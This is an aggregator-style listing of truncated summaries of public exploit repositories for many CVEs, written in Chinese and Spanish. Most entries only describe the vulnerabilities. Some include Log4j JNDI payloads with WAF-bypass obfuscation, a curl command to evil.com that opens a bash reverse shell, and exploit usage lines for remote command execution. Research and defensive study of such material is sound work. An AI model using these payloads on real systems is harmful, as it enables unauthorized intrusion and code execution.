ROOT-APP-NPM-CVE-2026-47698 CVE-2026-47698 in vm2 - Patched by Root

Root has patched CVE-2026-47698 in the vm2 package for Root:npm. Multiple fixed versions available...

Log4J_0day_RCE

加入社区 Telegram CVE-2021-44228（Apache Log4j 远程代码执行） 受影响版本 你可以使用 JNDI-Injection-Exploit 进行利用。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName 绕过 WAF root@kitploit: $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc $$::-jndi:rmi://asdasd.asdasd.asdasd/ass...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Subida de archivos arbitraria no autenticada 💣 Pix for WooCommerce = 1.5.0 – Subida de archivos arbitraria no autenticada CVE-2026-3891 👤 Nxploited 🧩 Descripción El plugin Pix for WooCommerce para WordPress es vulnerable a la subida de archivos arbitrar...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 简单用法 仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离实验室环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL...

CVE-2021-22205

CVE-2021-22205 - Ejecución Remota de Código no Autenticada en GitLab CVE-2021-22205 es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta a GitLab Community Edition CE y Enterprise Edition EE. La vulnerabilidad se origina en una validación incorrecta de los archivos de imagen...

Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE 漏洞利用 CVE-2021-25646 通过 JavaScript 代码注入实现 Apache Druid 远程代码执行的 Python 利用脚本 CVE-2021-25646。 描述 该脚本利用 Apache Druid（版本 0.20.1）中的一个 RCE 漏洞，该漏洞允许通过特制的采样器请求执行任意代码。 用法 root@kitploit: python3 druidrce.py -u http://target:8888 -c "commandtoexecute" 参数 -u/--url - 目标 URL（例如...

CVE-2023-32571-POC

Dynamic Linq injection to RCE - CVE-2023-32571 关于动态Linq注入导致RCE（CVE-2023-32571） 最近，NCC集团成员发现Dynamic Linq中的一个漏洞，允许攻击者通过Linq注入调用C函数，从而实现远程代码执行（RCE）。 尽管有关于Dynamic Linq的RCE报告，但NCC集团成员出于某种原因没有发布用于执行命令的POC。 POC 正如NCC集团研究所述，我们可以通过"Invoke"调用C方法。这样，我们可以调用"System.Diagnostics.Process.Start"并在服务器上执行命令。...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP服务器远程代码执行漏洞利用 本仓库提供了针对Wing FTP服务器 中CVE-2025-47812 （远程代码执行漏洞）的概念验证利用代码。攻击者可以通过在认证过程中滥用username参数注入并执行任意的Lua系统命令，从而实现完全的远程代码执行。 📌 漏洞利用功能特性 🔧 远程执行自定义shell命令 🧬 多个内置的反向shell有效载荷（bash、Python、netcat等） 🪪 从Set-Cookie自动提取UID 📦 将成功的UID记录到founduids.txt 🧪 试运行模式（不发送实际请求——安全测试输入/输出逻辑） 🔁...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 关于MCP Server漏洞的PoC。 自动生成带有正确正文的帖子部分。 漏洞路径： root@kitploit: /api/mcp/connect 通过curl的方法： root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus PoC de RCE Nombre del script PoC: poc.py Un script de explotación de prueba de concepto para CVE-2025-1302, que apunta a una vulnerabilidad de RCE en la librería jsonpath-plus. Cuando se ejecuta contra un endpoint de servicio vulnerable, el script intenta desencadenar ...

CVE-2026-14894

CVE-2026-14894 — Super Forms: RCE por subida de archivos no autenticada Fuga de nonce → Subida datauristring → Ejecución de código Descripción general CVE-2026-14894 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica CVSS 9.8 en el plugin de WordPress Super...

CVE-2026-48907

CVE-2026-48907 - Joomla! JCE 未认证远程代码执行 Joomla! JCE 扩展版本 此工具仅供教育和授权测试用途。 仅在你拥有或获得明确许可的系统上使用 作者不对任何滥用或非法行为负责 测试前务必获得适当授权 🔍 漏洞详情 工作原理 1. CSRF 令牌提取 ：利用程序首先从目标首页提取 CSRF 令牌 2. 滥用配置文件导入 ：借助 JCE 配置文件导入功能 index.php?option=comjce&task=profiles.import 3. PHP 文件上传 ：上传伪装成配置文件 XML 的恶意 PHP 文件 4. 代码执行 ：上传的 PHP...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons 版本 1.13 至 1.13.10、2.0 至 2.0.5 及更早的不受支持版本中存在一个属性绑定漏洞，原因是未能正确中和特殊元素。未经身份验证的远程恶意用户（或攻击者）可以针对基于 Spring Data REST 的 HTTP 资源提供精心构造的请求参数，或使用 Spring Data 基于投影的请求负载绑定，从而导致远程代码执行攻击。 更多信息请参见此处 运行 该应用程序可以使用易受攻击版本或已修复版本的 Spring Data Commons 进行测试。 易受攻击版本（默认）： root@kitploit: mv...

CVE-2016-10033

CVE-2016-10033 – Ejecución Remota de Código en PHPMailer 📌 Descripción Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2016-10033 , una vulnerabilidad en versiones de PHPMailer anteriores a 5.2.18. El problema ocurre cuando el argumento $additionalparameters de la función...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 research 環境 vulfocus/spring-cloud-function-rce:latest 成因 Request Header 中 spring.cloud.function.routing-expression 參數解析問題，造成注入Payload攻擊。 Reference https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2024-7120-Exploit-by-Dark-07x

Raisecom 设备命令注入 CVE-2024-7120 概念验证！ 概述 已发现 RAISECOM 网关设备中存在命令注入漏洞，影响型号 MSG1200、MSG2100E、MSG2200 和 MSG2300。该漏洞允许远程攻击者通过 Web 界面在系统上执行任意命令。问题存在于 listbaseconfig.php 脚本中，具体通过 template 参数，影响互联网上超过 25,112 台设备。 ✔ FOFA : title="web user login" && body="" 受影响组件 URI：/vpn/listbaseconfig.php 描述：...

struts2-rce

CVE-2017-5638 漏洞利用演示 完全基于 https://github.com/piesecurity/apache-struts2-CVE-2017-5638 一个真实场景：将某个框架的参考项目部署到容器中，却引发了严重后果。请查看代码并编译以熟悉它。同时检查 Dockerfile——是否有任何特定内容引起了我们的注意？ 展示了日常决策和多个漏洞如何轻易地被串联利用。 使用方法： 前提条件： 1. 已安装 JDK， 2. 已安装 Docker，Docker Desktop for Mac 或 Win 3. 最好已安装 Python（可用 Jython 替代） 准备步骤： 1...

Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-

事件响应报告：TeamCity 被入侵 CVE-2024-27198 分析者： Belal Abdelsalam 日期： 2026年7月 实验室/环境： CyberDefenders JetBrains 📄 行政摘要 本文档记录了对一台受入侵的 JetBrains TeamCity 服务器（版本 2023.11.3）的取证分析。通过分析提供的网络数据包捕获文件（.pcap），调查确认外部威胁行为者利用路径遍历漏洞（CVE-2024-27198）绕过了身份验证机制。攻击者随后上传了一个包含 Java 服务器页面（JSP）Webshell...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerabilidad Descripción de la Vulnerabilidad Muchas veces usamos WebView para mostrar una página web; por ejemplo, muchas aplicaciones, para lograr el control del servidor, tienen la página de resultados como una página web, en lugar de una implementación local, lo qu...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 未认证远程代码执行 使用 Python 3 不通过 Docker 运行： root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py 通过 Docker 运行： root@kitploit: git clone...